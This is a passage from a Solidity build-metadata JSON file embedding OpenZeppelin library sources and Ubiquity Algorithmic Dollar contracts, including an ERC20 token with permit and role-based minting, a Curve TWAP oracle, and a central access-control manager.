v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n \\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest =\\n keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x131a8776645c08696d9aa7c4ff1d6c1bd69a899f67392556b64c6b9de7e302da\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n 